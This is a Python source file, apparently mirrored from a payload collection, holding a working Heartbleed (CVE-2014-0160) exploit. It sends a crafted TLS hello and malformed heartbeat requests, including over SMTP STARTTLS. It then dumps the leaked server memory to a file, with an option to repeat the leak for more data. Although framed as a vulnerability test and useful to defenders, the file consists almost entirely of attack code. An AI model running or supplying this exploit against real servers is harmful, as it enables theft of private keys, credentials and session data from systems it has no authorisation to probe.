mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-15 07:42:57 +00:00
216 lines
6.1 KiB
Python
216 lines
6.1 KiB
Python
#!/usr/bin/python
|
|
|
|
# Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford (jspenguin@jspenguin.org)
|
|
# The author disclaims copyright to this source code.
|
|
# Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin)
|
|
|
|
from __future__ import print_function
|
|
from builtins import str
|
|
from builtins import range
|
|
import sys
|
|
import struct
|
|
import socket
|
|
import time
|
|
import select
|
|
import re
|
|
from optparse import OptionParser
|
|
import smtplib
|
|
|
|
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
|
|
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
|
|
options.add_option('-n', '--num', type='int', default=1, help='Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1)')
|
|
options.add_option('-f', '--file', type='str', default='dump.bin', help='Filename to write dumped memory too (default: dump.bin)')
|
|
options.add_option('-q', '--quiet', default=False, help='Do not display the memory dump', action='store_true')
|
|
options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS (smtp only right now)')
|
|
|
|
def h2bin(x):
|
|
return x.replace(' ', '').replace('\n', '').decode('hex')
|
|
|
|
hello = h2bin('''
|
|
16 03 02 00 dc 01 00 00 d8 03 02 53
|
|
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
|
|
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
|
|
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
|
|
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
|
|
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
|
|
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
|
|
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
|
|
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
|
|
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
|
|
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
|
|
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
|
|
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
|
|
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
|
|
00 0f 00 01 01
|
|
''')
|
|
|
|
hbv10 = h2bin('''
|
|
18 03 01 00 03
|
|
01 40 00
|
|
''')
|
|
|
|
hbv11 = h2bin('''
|
|
18 03 02 00 03
|
|
01 40 00
|
|
''')
|
|
|
|
hbv12 = h2bin('''
|
|
18 03 03 00 03
|
|
01 40 00
|
|
''')
|
|
|
|
def hexdump(s, dumpf, quiet):
|
|
dump = open(dumpf,'a')
|
|
dump.write(s)
|
|
dump.close()
|
|
if quiet: return
|
|
for b in range(0, len(s), 16):
|
|
lin = [c for c in s[b : b + 16]]
|
|
hxdat = ' '.join('%02X' % ord(c) for c in lin)
|
|
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
|
|
print(' %04x: %-48s %s' % (b, hxdat, pdat))
|
|
print()
|
|
|
|
def recvall(s, length, timeout=5):
|
|
endtime = time.time() + timeout
|
|
rdata = ''
|
|
remain = length
|
|
while remain > 0:
|
|
rtime = endtime - time.time()
|
|
if rtime < 0:
|
|
if not rdata:
|
|
return None
|
|
else:
|
|
return rdata
|
|
r, w, e = select.select([s], [], [], 5)
|
|
if s in r:
|
|
data = s.recv(remain)
|
|
# EOF?
|
|
if not data:
|
|
return None
|
|
rdata += data
|
|
remain -= len(data)
|
|
return rdata
|
|
|
|
def recvmsg(s):
|
|
hdr = recvall(s, 5)
|
|
if hdr is None:
|
|
print('Unexpected EOF receiving record header - server closed connection')
|
|
return None, None, None
|
|
typ, ver, ln = struct.unpack('>BHH', hdr)
|
|
pay = recvall(s, ln, 10)
|
|
if pay is None:
|
|
print('Unexpected EOF receiving record payload - server closed connection')
|
|
return None, None, None
|
|
print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
|
|
return typ, ver, pay
|
|
|
|
def hit_hb(s, dumpf, host, quiet):
|
|
while True:
|
|
typ, ver, pay = recvmsg(s)
|
|
if typ is None:
|
|
print('No heartbeat response received from '+host+', server likely not vulnerable')
|
|
return False
|
|
|
|
if typ == 24:
|
|
if not quiet: print('Received heartbeat response:')
|
|
hexdump(pay, dumpf, quiet)
|
|
if len(pay) > 3:
|
|
print('WARNING: server '+ host +' returned more data than it should - server is vulnerable!')
|
|
else:
|
|
print('Server '+host+' processed malformed heartbeat, but did not return any extra data.')
|
|
return True
|
|
|
|
if typ == 21:
|
|
if not quiet: print('Received alert:')
|
|
hexdump(pay, dumpf, quiet)
|
|
print('Server '+ host +' returned error, likely not vulnerable')
|
|
return False
|
|
|
|
def connect(host, port, quiet):
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
if not quiet: print('Connecting...')
|
|
sys.stdout.flush()
|
|
s.connect((host, port))
|
|
return s
|
|
|
|
def tls(s, quiet):
|
|
if not quiet: print('Sending Client Hello...')
|
|
sys.stdout.flush()
|
|
s.send(hello)
|
|
if not quiet: print('Waiting for Server Hello...')
|
|
sys.stdout.flush()
|
|
|
|
def parseresp(s):
|
|
while True:
|
|
typ, ver, pay = recvmsg(s)
|
|
if typ == None:
|
|
print('Server closed connection without sending Server Hello.')
|
|
return 0
|
|
# Look for server hello done message.
|
|
if typ == 22 and ord(pay[0]) == 0x0E:
|
|
return ver
|
|
|
|
def check(host, port, dumpf, quiet, starttls):
|
|
response = False
|
|
if starttls:
|
|
try:
|
|
s = smtplib.SMTP(host=host,port=port)
|
|
s.ehlo()
|
|
s.starttls()
|
|
except smtplib.SMTPException:
|
|
print('STARTTLS not supported...')
|
|
s.quit()
|
|
return False
|
|
print('STARTTLS supported...')
|
|
s.quit()
|
|
s = connect(host, port, quiet)
|
|
s.settimeout(1)
|
|
try:
|
|
re = s.recv(1024)
|
|
s.send('ehlo starttlstest\r\n')
|
|
re = s.recv(1024)
|
|
s.send('starttls\r\n')
|
|
re = s.recv(1024)
|
|
except socket.timeout:
|
|
print('Timeout issues, going ahead anyway, but it is probably broken ...')
|
|
tls(s,quiet)
|
|
else:
|
|
s = connect(host, port, quiet)
|
|
tls(s,quiet)
|
|
|
|
version = parseresp(s)
|
|
|
|
if version == 0:
|
|
if not quiet: print("Got an error while parsing the response, bailing ...")
|
|
return False
|
|
else:
|
|
version = version - 0x0300
|
|
if not quiet: print("Server TLS version was 1.%d\n" % version)
|
|
|
|
if not quiet: print('Sending heartbeat request...')
|
|
sys.stdout.flush()
|
|
if (version == 1):
|
|
s.send(hbv10)
|
|
response = hit_hb(s,dumpf, host, quiet)
|
|
if (version == 2):
|
|
s.send(hbv11)
|
|
response = hit_hb(s,dumpf, host, quiet)
|
|
if (version == 3):
|
|
s.send(hbv12)
|
|
response = hit_hb(s,dumpf, host, quiet)
|
|
s.close()
|
|
return response
|
|
|
|
def main():
|
|
opts, args = options.parse_args()
|
|
if len(args) < 1:
|
|
options.print_help()
|
|
return
|
|
|
|
print('Scanning ' + args[0] + ' on port ' + str(opts.port))
|
|
for i in range(0,opts.num):
|
|
check(args[0], opts.port, opts.file, opts.quiet, opts.starttls)
|
|
|
|
if __name__ == '__main__':
|
|
main()
|